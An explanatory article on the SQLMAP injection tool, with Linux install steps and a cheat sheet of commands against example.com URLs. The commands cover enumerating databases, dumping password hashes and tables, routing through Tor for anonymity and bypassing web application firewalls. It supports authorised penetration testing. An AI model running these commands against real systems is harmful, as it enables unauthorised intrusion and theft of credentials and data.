SQLMAP

SQLMAP supports a wide range of databases, including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, and others, enabling users to perform enumeration over database servers and obtain critical data. It is a command-line tool that offers a vast array of features, supporting various types of SQL injection techniques and possessing the ability to directly connect to databases for efficient exploitation.

The tool is often employed in the reconnaissance phase of a cyber attack to map out the database landscape and establish a foundation for further exploitation or analysis. While SQLMAP is extensively used by ethical hackers for security assessments, it can also be used for malicious purposes if databases are exposed to SQL injection flaws.

How to install SQLMAP

Installing sqlmap is straightforward as it has a long history in the security community. Here’s how you can install sqlmap on Linux (Preferred):

Guide to Installing SQLMAP on Linux

1. Using the Package Manager:

• For Debian-based systems like Ubuntu, you can install sqlmap directly from the default repositories by opening a terminal and running:
  sudo apt-get update sudo apt-get install sqlmap
• For Red Hat-based systems like Fedora, use:
  sudo dnf install sqlmap

1. Using Git (Recommended for latest version of sqlmap):

• First, install Git if it’s not already installed:
  sudo apt-get install git # Debian/Ubuntu sudo dnf install git # Fedora
• Clone the sqlmap repository:
  git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap

SQLMAP Cheat Sheet

Here’s a quick reference to some common tasks you can perform with sqlmap on a penetration test, these commands will provide the necessary steps to use sqlmap effectively:

Basic Commands

• Test for SQL Injection:

  sqlmap -u "http://www.example.com/vuln-page.php?id=1"

• Specify HTTP Method:

  sqlmap -u "http://www.example.com/vuln-form" --data="id=1" --method=POST

• Enumerate Databases:

  sqlmap -u "http://www.example.com/vuln-page.php?id=1" --dbs

Database Takeover

• Get Database Users:

  sqlmap -u "http://www.example.com/vuln-page.php?id=1" --users

• Get Database Password Hashes:

  sqlmap -u "http://www.example.com/vuln-page.php?id=1" --passwords

• Dump Table Entries:

  sqlmap -u "http://www.example.com/vuln-page.php?id=1" -D dbname -T tablename --dump

Advanced Techniques

• Using Tor for Anonymity:

  sqlmap -u "http://www.example.com/vuln-page.php?id=1" --tor --tor-type=SOCKS5 --check-tor

• Bypassing Web Application Firewalls (WAF):

  sqlmap -u "http://www.example.com/vuln-page.php?id=1" --tamper=space2comment

• Using a Custom Injection Point:

  sqlmap -u "http://www.example.com/vuln-page.php?id=1*" --dbs

Remember to use sqlmap responsibly and only in environments where you have permission to do so, the tool has the potential to cause seriousl damage to a web application. Under no circumstances should you use the tool against a live application without prior consent from the owners of said application.

Key Characteristics:

• Automated SQL Injection: Facilitates the automated detection and exploitation of SQL injection vulnerabilities.
• Database Support: Compatible with numerous database systems, broadening its utility.
• Versatile Functionality: Offers a full-suite of features to enumerate databases, retrieve data, and leverage database server vulnerabilities.
• Command-Line Interface: Operated via command line, providing flexibility and powerful scripting capabilities for advanced users.

Examples:

• Real-World Example: A cybersecurity professional uses SQLMAP to test a web application’s user login form and discovers an SQL injection flaw, allowing the organisation to remediate the vulnerability before it is exploited.
• Hypothetical Scenario: An attacker scans websites to identify SQL injection vulnerabilities and uses SQLMAP to extract credential data from the website’s associated database, leading to a data breach.

Related Terms:

• SQL Injection: A type of security exploit in which an attacker adds SQL code to a web form input box to gain access to resources or make changes to data.
• Penetration Testing: The practice of testing a computer system, network, or web application to find vulnerabilities that an attacker could exploit, often using tools like SQLMAP.
• Ethical Hacking: Legally breaking into computers and devices to test an organisation’s defences, which typically involves the identification of SQL injection vulnerabilities.